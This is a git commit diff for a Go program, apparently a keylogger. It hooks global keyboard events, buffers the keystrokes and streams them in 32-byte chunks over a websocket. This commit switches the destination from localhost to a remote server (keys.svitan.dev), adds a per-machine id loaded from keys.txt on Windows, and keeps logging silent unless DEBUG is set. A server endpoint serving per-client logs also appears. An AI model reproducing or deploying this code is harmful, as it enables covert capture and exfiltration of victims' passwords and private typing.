✨ Adds loading id on windows
This commit is contained in:
@@ -2,9 +2,12 @@ package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"net/url"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/google/uuid"
|
||||
@@ -22,25 +25,67 @@ const (
|
||||
REG_END = 255
|
||||
)
|
||||
|
||||
func main() {
|
||||
var debug = false
|
||||
|
||||
func log(msg string, formats ...any) {
|
||||
if debug {
|
||||
fmt.Printf(msg, formats...)
|
||||
}
|
||||
}
|
||||
|
||||
// load id from same directory as executable from "keys.txt"
|
||||
func getId() uuid.UUID {
|
||||
var id = uuid.New()
|
||||
if runtime.GOOS == "windows" {
|
||||
if runtime.GOOS != "windows" {
|
||||
return id
|
||||
|
||||
}
|
||||
ex, err := os.Executable()
|
||||
if err != nil {
|
||||
return id
|
||||
}
|
||||
|
||||
file := filepath.Join(filepath.Dir(ex), "keys.txt")
|
||||
stream, err := os.Open(file)
|
||||
defer func() { _ = stream.Close() }()
|
||||
if err != nil {
|
||||
return id
|
||||
}
|
||||
|
||||
data, err := io.ReadAll(stream)
|
||||
if err != nil {
|
||||
return id
|
||||
}
|
||||
|
||||
loaded, err := uuid.Parse(string(data))
|
||||
if err != nil {
|
||||
return id
|
||||
} else {
|
||||
return loaded
|
||||
}
|
||||
}
|
||||
|
||||
func main() {
|
||||
id := getId()
|
||||
var resource = url.URL{Scheme: "ws", Host: "localhost:8080", Path: fmt.Sprintf("/keys?id=%s", id)}
|
||||
debugRaw := strings.ToLower(os.Getenv("DEBUG"))
|
||||
debug = debugRaw == "true" || debugRaw == "1" || debugRaw == "yes"
|
||||
|
||||
var resource = url.URL{Scheme: "wss", Host: "keys.svitan.dev", Path: fmt.Sprintf("/keys?id=%s", id)}
|
||||
var conn *websocket.Conn
|
||||
var err error
|
||||
var tries = 0
|
||||
for {
|
||||
log("attempting to dial: %s\n", resource.String())
|
||||
conn, _, err = websocket.DefaultDialer.Dial(resource.String(), nil)
|
||||
if err != nil {
|
||||
log("dialing failed")
|
||||
tries += 1
|
||||
if tries >= 3 {
|
||||
return
|
||||
}
|
||||
time.Sleep(time.Second)
|
||||
} else {
|
||||
log("dialnig succesful")
|
||||
break
|
||||
}
|
||||
}
|
||||
@@ -50,6 +95,7 @@ func main() {
|
||||
defer os.Exit(0)
|
||||
for {
|
||||
kind, _, err := conn.ReadMessage()
|
||||
log("read message of kind %v\n", kind)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
@@ -64,6 +110,8 @@ func main() {
|
||||
buff := make([]byte, 64)
|
||||
|
||||
for ev := range evChan {
|
||||
log("received event: %d (%c)\n", ev.Rawcode, ev.Keychar)
|
||||
|
||||
switch ev.Rawcode {
|
||||
case SHIFT_RAWCODE:
|
||||
if ev.Kind == hook.KeyDown {
|
||||
@@ -117,6 +165,7 @@ func main() {
|
||||
}
|
||||
|
||||
if len(buff) >= 32 {
|
||||
log("writing buffer")
|
||||
conn.WriteMessage(websocket.TextMessage, buff[:32])
|
||||
buff = buff[32:]
|
||||
}
|
||||
|
@@ -45,6 +45,7 @@ func getLogs(c echo.Context) error {
|
||||
}
|
||||
|
||||
func getClientLogs(c echo.Context, id uuid.UUID) error {
|
||||
var err error
|
||||
date := c.QueryParam("date")
|
||||
if date == "" {
|
||||
date = time.Now().Format(DateFormat)
|
||||
|
Reference in New Issue
Block a user